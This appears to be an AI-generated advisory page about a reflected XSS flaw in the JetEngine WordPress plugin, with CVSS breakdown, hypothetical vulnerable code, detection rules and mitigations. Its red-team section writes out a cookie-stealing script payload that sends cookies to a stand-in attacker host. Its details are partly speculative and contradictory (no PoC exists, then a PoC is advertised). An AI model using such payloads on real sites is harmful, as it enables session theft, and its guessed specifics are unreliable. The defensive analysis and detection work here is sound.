CVE-2025-67923
Executive Summary
CVE-2025-67923 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Crocoblock JetEngine plugin for WordPress, affecting versions up to and including 3.7.7. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim's browser session. As a WordPress plugin vulnerability, it specifically targets the JetEngine component, which is a popular dynamic content builder for Elementor. The CVSS score of 7.1 (High) reflects the low complexity of exploitation and the potential for significant impact on confidentiality and integrity, though user interaction is required. No public proof-of-concept or exploit code has been identified at this time, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and Crocoblock's own marketplace. As a third-party plugin, JetEngine is not part of the WordPress core, but its widespread use in dynamic content creation makes it a high-value target. The lack of a confirmed patch means that users must rely on manual mitigation or disabling the plugin until an update is released. Organizations should audit their WordPress installations for JetEngine version 3.7.7 or earlier and apply virtual patching via a Web Application Firewall (WAF) if possible.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over a network.
- Attack Complexity (AC): Low – No special conditions or race conditions are required.
- Privileges Required (PR): None – No authentication is needed to trigger the vulnerability.
- User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, local storage).
- Confidentiality (C): Low – Limited data exposure, such as session tokens.
- Integrity (I): Low – Limited ability to modify content or perform actions on behalf of the user.
- Availability (A): Low – Minor impact on service availability, such as redirecting to malicious sites.
Threat Level: High. The combination of network exploitability, low complexity, and no required privileges makes this a serious risk for any WordPress site using the vulnerable JetEngine version. The requirement for user interaction slightly reduces the risk, but phishing campaigns can easily deliver the malicious payload.
Deep Dive & Mechanics
The vulnerability is a Reflected XSS in the JetEngine plugin, specifically within the jet-engine component. Reflected XSS occurs when user input is immediately echoed back in the server's response without proper sanitization or encoding. In this case, the vulnerable parameter is likely passed via a GET request (e.g., a search query, filter, or URL parameter) and then reflected in the HTML output without being neutralized.
Attack Flow:
- An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g.,
?search=<script>alert('XSS')</script>). - The attacker sends this URL to a victim via email, social media, or a phishing link.
- The victim, who is logged into a WordPress site with JetEngine active, clicks the link.
- The server processes the request and reflects the payload in the response without sanitization.
- The victim's browser executes the injected JavaScript, which can steal cookies, redirect to a phishing page, or perform actions on behalf of the victim.
Root Cause: The plugin fails to use proper output encoding functions (e.g., esc_html(), esc_attr(), or wp_kses()) when rendering user-supplied data in the response. This is a classic CWE-79 vulnerability.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on typical XSS fixes.
Vulnerable Code (JetEngine <= 3.7.7):
// In a template or shortcode handler
$search = $_GET['search'];
echo '<div class="jet-search">' . $search . '</div>';
Patched Code (Hypothetical):
// Properly escape output
$search = sanitize_text_field($_GET['search']);
echo '<div class="jet-search">' . esc_html($search) . '</div>';
The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: A WordPress instance with JetEngine 3.7.7 installed and activated.
- Attacker: Kali Linux with Burp Suite or a simple Python HTTP server.
Exploitation Steps:
- Identify a vulnerable parameter by fuzzing the JetEngine endpoints (e.g.,
/wp-json/jet-engine/v1/or custom shortcodes). - Craft a payload:
?search=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script> - URL-encode the payload and send it to the victim.
- Set up a listener on the attacker's server to capture cookies.
Example URL:
http://target-site.com/?search=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
Blue Team (Defensive)
Detection Steps:
- Monitor web server logs for suspicious GET parameters containing
<script>,onerror,onload, or other XSS indicators. - Use a WAF to block requests with malicious payloads (e.g., ModSecurity rule:
SecRule ARGS "@rx <script>" "id:1000,deny"). - Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Disable JetEngine until a patch is released.
- Apply virtual patching via WAF.
- Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
jet-enginein the URI with parameters likesearch,filter, orqueryfollowed by<script>tags. - Outbound connections to unknown domains from the WordPress server (potential callback for stolen data).
- HTTP requests containing
File IOCs:
- Modified WordPress core files (unlikely, but check for injected scripts in
wp-content/plugins/jet-engine/).
- Modified WordPress core files (unlikely, but check for injected scripts in
Log IOCs:
- Web server logs showing
200responses withscripttags in the request URI. - Error logs with PHP warnings about
$_GETusage without sanitization.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_67923_JetEngine_XSS {
meta:
description = "Detects JetEngine reflected XSS payloads in web requests"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67923"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$jet_engine_param = /[?&](search|filter|query)=/
condition:
$jet_engine_param and $xss_payload
}
Sigma Rule
title: JetEngine Reflected XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against JetEngine plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: 'jet-engine'
c-uri|contains|all:
- '<script'
- '</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in admin area (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67923 JetEngine Reflected XSS Attempt"; flow:to_server,established; content:"jet-engine"; http_uri; content:"<script"; http_uri; content:"</script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the JetEngine plugin if version 3.7.7 or earlier is in use, until a patch is released.
- Virtual Patching: Deploy a WAF rule to block requests containing
<script>in JetEngine parameters. - User Education: Train users to avoid clicking suspicious links, especially those containing query strings.
- Monitoring: Enable detailed logging for all web requests and review logs for XSS patterns.
- Update: Monitor the Crocoblock website and WordPress plugin repository for a patched version (expected to be 3.7.8 or higher).
- CSP: Implement a Content Security Policy that restricts script execution to trusted sources only.
Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence, under the supervision of Valters IT. All information is provided for educational and defensive purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.